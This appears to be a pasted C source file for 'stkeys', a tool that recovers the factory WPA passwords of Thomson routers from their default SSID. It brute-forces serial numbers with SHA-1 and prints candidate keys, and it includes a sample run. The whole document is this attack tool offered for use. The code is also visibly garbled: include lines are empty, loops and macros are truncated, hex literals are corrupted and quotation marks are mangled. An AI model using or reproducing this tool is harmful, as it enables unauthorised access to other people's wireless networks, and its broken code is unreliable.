· 8 years ago · Jul 20, 2018, 07:06 AM
1/*
2stkeys v1.0 – Recover default WPA key for Thomson routers using default SSID
3
4only generates keys between 2004 and 2009
5compile: g++ -s stkeys.c -ostkeys
6example:
7
8C:\>stkeys 3983bc
9
10[*] Generating keys for 2004
11
12[*] Generating keys for 2005
13
14[*] Generating keys for 2006
15
16[*] Generating keys for 2007
17
18[*] Generating keys for 2008
19[+] Serial Number: CP0827**HHJ – potential key = B6D27F2D2F
20
21[*] Generating keys for 2009
22
23[*] Seconds elapsed:6 – keys per second:2426112
24
25April 2008 – wyse101 0×40 gmail.com
26*/
27#include
28#include
29#include
30#include
31#include
32
33#define SERIAL_LENGTH 12
34
35#define ROTATE_LEFT(a,n)(((a)<>(32-(n))))
36#define ROTATE_RIGHT(a,n) (((a)>>(n)) | (((a) & 0xffffffff)<> 8L) | ((x & 0×00FF00FF) << 8L) ),16L)
37
38typedef struct _SHA_MSG {
39unsigned long W[80];
40} sha1_key;
41
42unsigned long ssid;
43unsigned long sha1_hash[5];
44
45sha1_key yy_schedules[16];
46sha1_key ww_schedules[64];
47sha1_key xxx_schedules[4][64];
48
49sha1_key *x1_schedules = &xxx_schedules[0][0];
50sha1_key *x2_schedules = &xxx_schedules[1][0];
51sha1_key *x3_schedules = &xxx_schedules[2][0];
52
53sha1_key x1_buffer;
54sha1_key x2_buffer;
55sha1_key x3_buffer;
56sha1_key week_buffer;
57sha1_key year_buffer;
58
59unsigned long long iterations = 0;
60
61void expand(sha1_key *dst, sha1_key *src)
62{
63for(int i = 0;i W[i] = bswap(src->W[i]);
64
65for(int i = 16;i W[i] = ROTATE_LEFT((dst->W[i-3] ^ dst->W[i-8] ^ dst->W[i-14] ^ dst->W[i-16]),1);
66}
67
68void init_yy(void)
69{
70unsigned char buffer[64]={0};
71
72for(int year = 4;year <= 9;year++) {
73
74memset(buffer,0,sizeof(buffer));
75
76buffer[0] = 'C';
77buffer[1] = 'P';
78buffer[2] = '0';
79
80buffer[SERIAL_LENGTH] = 0×80;
81((unsigned long*)buffer)[15] = bswap(SERIAL_LENGTH * 8);
82
83buffer[3] = year + '0';
84expand(&yy_schedules[year-4],(sha1_key*)buffer);
85}
86}
87
88void init_ww(void)
89{
90unsigned char buffer[64]={0};
91
92for(int week = 1;week > 4)])
93#define hexlsb(x)(hexTable[ (x & 0x0f)])
94
95void init_xxx(void)
96{
97unsigned char buffer[64];
98
99for(int i = 0;i < 3;i++)
100{
101for(int x1 = 0;x1 < 36;x1++)
102{
103memset(buffer,0,sizeof(buffer));
104
105buffer[2*i+6] = hexmsb(charTable[x1]);;
106buffer[2*i+7] = hexlsb(charTable[x1]);;
107
108expand(&xxx_schedules[i][x1],(sha1_key*)buffer);
109}
110}
111}
112
113#define F(b,c,d) ((((c) ^ (d)) & (b)) ^ (d))
114#define G(b,c,d) ((b) ^ (c) ^ (d))
115#define H(b,c,d) (((b) & (c)) | (((b) | (c)) & (d)))
116#define I(b,c,d) ((b) ^ (c) ^ (d))
117
118#define sha1_ff(a,b,c,d,e,i) \
119(e) = x3_buffer.W[i] + (e) + 0×5a827999L + ROTATE_LEFT((a),5) + F((b),(c),(d)); \
120(b) = ROTATE_RIGHT((b),2);
121
122#define sha2_gg(a,b,c,d,e,i) \
123(e) = x3_buffer.W[i] + (e) + 0×6ed9eba1L + ROTATE_LEFT((a),5) + G((b),(c),(d)); \
124(b) = ROTATE_RIGHT((b),2);
125
126#define sha3_hh(a,b,c,d,e,i) \
127(e) = x3_buffer.W[i] + (e) + 0×8f1bbcdcL + ROTATE_LEFT((a),5) + H((b),(c),(d)); \
128(b) = ROTATE_RIGHT((b),2);
129
130#define sha4_ii(a,b,c,d,e,i) \
131(e) = x3_buffer.W[i] + (e) + 0xca62c1d6L + ROTATE_LEFT((a),5) + I((b),(c),(d)); \
132(b) = ROTATE_RIGHT((b),2);
133
134void sha1_block(void)
135{
136register unsigned long a,b,c,d,e;
137
138a = (unsigned long)0×67452301L;
139b = (unsigned long)0xefcdab89L;
140c = (unsigned long)0×98badcfeL;
141d = (unsigned long)0×10325476L;
142e = (unsigned long)0xc3d2e1f0L;
143
144sha1_ff(a,b,c,d,e, 0);
145sha1_ff(e,a,b,c,d, 1);
146sha1_ff(d,e,a,b,c, 2);
147sha1_ff(c,d,e,a,b, 3);
148sha1_ff(b,c,d,e,a, 4);
149
150sha1_ff(a,b,c,d,e, 5);
151sha1_ff(e,a,b,c,d, 6);
152sha1_ff(d,e,a,b,c, 7);
153sha1_ff(c,d,e,a,b, 8);
154sha1_ff(b,c,d,e,a, 9);
155
156sha1_ff(a,b,c,d,e,10);
157sha1_ff(e,a,b,c,d,11);
158sha1_ff(d,e,a,b,c,12);
159sha1_ff(c,d,e,a,b,13);
160sha1_ff(b,c,d,e,a,14);
161
162sha1_ff(a,b,c,d,e,15);
163sha1_ff(e,a,b,c,d,16);
164sha1_ff(d,e,a,b,c,17);
165sha1_ff(c,d,e,a,b,18);
166sha1_ff(b,c,d,e,a,19);
167
168/* ================ */
169
170sha2_gg(a,b,c,d,e,20);
171sha2_gg(e,a,b,c,d,21);
172sha2_gg(d,e,a,b,c,22);
173sha2_gg(c,d,e,a,b,23);
174sha2_gg(b,c,d,e,a,24);
175
176sha2_gg(a,b,c,d,e,25);
177sha2_gg(e,a,b,c,d,26);
178sha2_gg(d,e,a,b,c,27);
179sha2_gg(c,d,e,a,b,28);
180sha2_gg(b,c,d,e,a,29);
181
182sha2_gg(a,b,c,d,e,30);
183sha2_gg(e,a,b,c,d,31);
184sha2_gg(d,e,a,b,c,32);
185sha2_gg(c,d,e,a,b,33);
186sha2_gg(b,c,d,e,a,34);
187
188sha2_gg(a,b,c,d,e,35);
189sha2_gg(e,a,b,c,d,36);
190sha2_gg(d,e,a,b,c,37);
191sha2_gg(c,d,e,a,b,38);
192sha2_gg(b,c,d,e,a,39);
193
194/* ================ */
195
196sha3_hh(a,b,c,d,e,40);
197sha3_hh(e,a,b,c,d,41);
198sha3_hh(d,e,a,b,c,42);
199sha3_hh(c,d,e,a,b,43);
200sha3_hh(b,c,d,e,a,44);
201
202sha3_hh(a,b,c,d,e,45);
203sha3_hh(e,a,b,c,d,46);
204sha3_hh(d,e,a,b,c,47);
205sha3_hh(c,d,e,a,b,48);
206sha3_hh(b,c,d,e,a,49);
207
208sha3_hh(a,b,c,d,e,50);
209sha3_hh(e,a,b,c,d,51);
210sha3_hh(d,e,a,b,c,52);
211sha3_hh(c,d,e,a,b,53);
212sha3_hh(b,c,d,e,a,54);
213
214sha3_hh(a,b,c,d,e,55);
215sha3_hh(e,a,b,c,d,56);
216sha3_hh(d,e,a,b,c,57);
217sha3_hh(c,d,e,a,b,58);
218sha3_hh(b,c,d,e,a,59);
219
220/* ================ */
221
222sha4_ii(a,b,c,d,e,60);
223sha4_ii(e,a,b,c,d,61);
224sha4_ii(d,e,a,b,c,62);
225sha4_ii(c,d,e,a,b,63);
226sha4_ii(b,c,d,e,a,64);
227
228sha4_ii(a,b,c,d,e,65);
229sha4_ii(e,a,b,c,d,66);
230sha4_ii(d,e,a,b,c,67);
231sha4_ii(c,d,e,a,b,68);
232sha4_ii(b,c,d,e,a,69);
233
234sha4_ii(a,b,c,d,e,70);
235sha4_ii(e,a,b,c,d,71);
236sha4_ii(d,e,a,b,c,72);
237sha4_ii(c,d,e,a,b,73);
238sha4_ii(b,c,d,e,a,74);
239
240sha4_ii(a,b,c,d,e,75);
241sha4_ii(e,a,b,c,d,76);
242sha4_ii(d,e,a,b,c,77);
243sha4_ii(c,d,e,a,b,78);
244sha4_ii(b,c,d,e,a,79);
245
246sha1_hash[0] = a + (unsigned long)0×67452301L;
247sha1_hash[1] = b + (unsigned long)0xefcdab89L;
248sha1_hash[2] = c + (unsigned long)0×98badcfeL;
249sha1_hash[3] = d + (unsigned long)0×10325476L;
250sha1_hash[4] = e + (unsigned long)0xc3d2e1f0L;
251}
252
253#define SHA1_SET_KEY(next,previous,current) \
254{ \
255for(size_t i = 0;i < sizeof(sha1_key) / sizeof(unsigned long);i += 4) { \
256next.W[i+0] = (previous.W[i+0] ^ current.W[i+0]); \
257next.W[i+1] = (previous.W[i+1] ^ current.W[i+1]); \
258next.W[i+2] = (previous.W[i+2] ^ current.W[i+2]); \
259next.W[i+3] = (previous.W[i+3] ^ current.W[i+3]); \
260} \
261}
262
263void gen_serials(void)
264{
265unsigned char serial[8]={0};
266
267serial[0] = 'C';
268serial[1] = 'P';
269serial[2] = '0';
270
271for(int year = 0; year <= 5; year++) {
272
273printf("\n\n[*] Generating keys for 200%d",year+4);
274memcpy(&year_buffer,&yy_schedules[year],sizeof(sha1_key));
275
276for(int week = 0; week < 52; week++) {
277
278SHA1_SET_KEY(week_buffer,year_buffer,ww_schedules[week]);
279
280for(int x1 = 0; x1 < 36; x1++) {
281
282SHA1_SET_KEY(x1_buffer,week_buffer,x1_schedules[x1]);
283
284for(int x2 = 0; x2 < 36; x2++) {
285
286SHA1_SET_KEY(x2_buffer,x1_buffer,x2_schedules[x2]);
287
288for(int x3 = 0; x3 < 36; x3++) {
289
290SHA1_SET_KEY(x3_buffer,x2_buffer,x3_schedules[x3]);
291
292sha1_block();
293
294if( (sha1_hash[4] & 0×00FFFFFF) == ssid) {
295
296serial[3] = (year + 4 ) + '0';
297serial[4] = ((week + 1) / 10) + '0';
298serial[5] = ((week + 1) % 10) + '0';
299
300printf("\n\t[+] Serial Number: %s**%c%c%c – potential key = %08lX%02X",
301serial,charTable[x1],charTable[x2],charTable[x3],
302sha1_hash[0],((unsigned char*)&sha1_hash)[7]);
303}
304iterations++;
305}
306}
307}
308}
309}
310}
311
312int main(int argc, char *argv[])
313{
314unsigned long keys,seconds;
315time_t start_time;
316size_t ssidLen;
317
318if(argc != 2) {
319puts("\n\t"
320"STkeys v1.0 – default WPA key recovery for Thomson routers"
321"\n\t(x) June 2008 – wyse101 0×40 gmail.com");
322
323printf("\n\tUsage: stkeys \nâ€);
324return 0;
325}
326
327if((ssidLen = strlen(argv[1])) != 6) {
328printf(â€\nInvalid SSID length: %sâ€,argv[1]);
329return 0;
330}
331
332for(size_t i = 0;i 0) ? (iterations / seconds) : iterations;
333
334printf(â€\n\n[*] Seconds elapsed:%lu – keys per second:%lu\nâ€,seconds,keys);
335return 0;
336}